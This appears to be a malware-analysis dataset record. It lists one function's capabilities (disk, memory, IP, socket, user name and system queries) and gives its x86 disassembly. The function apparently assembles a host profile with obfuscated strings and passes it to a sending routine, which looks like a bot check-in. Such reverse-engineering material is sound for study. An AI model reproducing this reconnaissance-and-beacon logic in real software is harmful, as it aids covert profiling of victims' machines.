Function at 0x412926
Capabilities:
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get session user name
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x630], eax
push edi
lea eax, [ebp - 0x620]
xor ebx, ebx
push eax
mov dword [ebp - 0x638], esi
mov byte [ebp - 0x624], 0x66
mov byte [ebp - 0x546], bl
mov dword [ebp - 0x620], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x61c]
push eax
call fcn.004128dc
mov edi, 0x100
push edi
lea eax, [ebp - 0x344]
push eax
push dword [ebp - 0x630]
call fcn.00412324
push 0x10
lea eax, [ebp - 0x354]
push ebx
push eax
call fcn.00502190
add esp, 0x24
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x354]
push eax
push dword [esi + 0xa8]
mov dword [ebp - 0x63c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x57c]
push eax
call fcn.005027d0
push 0x32
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.005027d0
add esp, 0x18
call fcn.0041201b
mov dword [ebp - 0x584], eax
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x580], eax
lea eax, [ebp - 0x394]
push eax
mov dword [ebp - 0x394], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x388]
shrd eax, ecx, 0x14
shr ecx, 0x14
mov dword [ebp - 0x53c], eax
xor esi, esi
mov dword [ebp - 0x628], ebx
mov al, byte [ebp - 0x628]
add al, 0x42
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x17], 0x5c3a
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x412abc
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x644]
push eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [ebp - 0x644]
mov ecx, dword [ebp - 0x640]
shrd eax, ecx, 0x14
shr ecx, 0x14
add esi, eax
inc dword [ebp - 0x628]
cmp dword [ebp - 0x628], 0x1a
jl 0x412a65
mov dword [ebp - 0x538], esi
call fcn.00412219
mov byte [ebp - 0x546], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x544], eax
call fcn.004122a1
mov dword [ebp - 0x540], eax
call fcn.0041222b
mov dword [ebp - 0x4c0], eax
call fcn.004124b7
mov dword [ebp - 0x3cc], eax
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x3c8]
push eax
mov dword [ebp - 0x634], 0x32
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.00412525
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x46c]
push eax
call esi
call fcn.004125c5
push eax
lea eax, [ebp - 0x444]
push eax
call esi
call fcn.004126d8
push eax
lea eax, [ebp - 0x41c]
push eax
call esi
call fcn.0041283d
push eax
lea eax, [ebp - 0x4bc]
push eax
call esi
mov word [ebp - 0x62c], 0x6425
mov byte [ebp - 0x62a], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0xe0]
push eax
mov dword [ebp - 0x628], edx
call esi
mov eax, dword [ebp - 0x628]
xor edx, edx
mov ecx, 0x36ee80
div ecx
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 0x628], edx
call esi
mov eax, dword [ebp - 0x628]
xor edx, edx
mov ecx, 0xea60
div ecx
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xe0]
push eax
push 0x52e648
lea eax, [ebp - 0x502]
push eax
call esi
push str.6RD6CfT29A3zCaY
call fcn.00411fe5
push eax
lea eax, [ebp - 0x4e2]
push eax
call fcn.00504620
add esp, 0x44
push edi
lea eax, [ebp - 0x244]
push eax
push dword [ebp - 0x630]
mov dword [ebp - 0xc], 0x61666544
mov dword [ebp - 8], 0x746c75
call fcn.00412424
add esp, 0xc
pop edi
pop esi
pop ebx
test eax, eax
jne 0x412c56
push str.6gkIBfkSqY
call fcn.00411fe5
pop ecx
jmp 0x412c5c
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x534]
push eax
call fcn.00504620
pop ecx
pop ecx
mov ecx, dword [ebp - 0x638]
push 0x290
lea eax, [ebp - 0x624]
push eax
call fcn.00413b5e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005025ee
leave
ret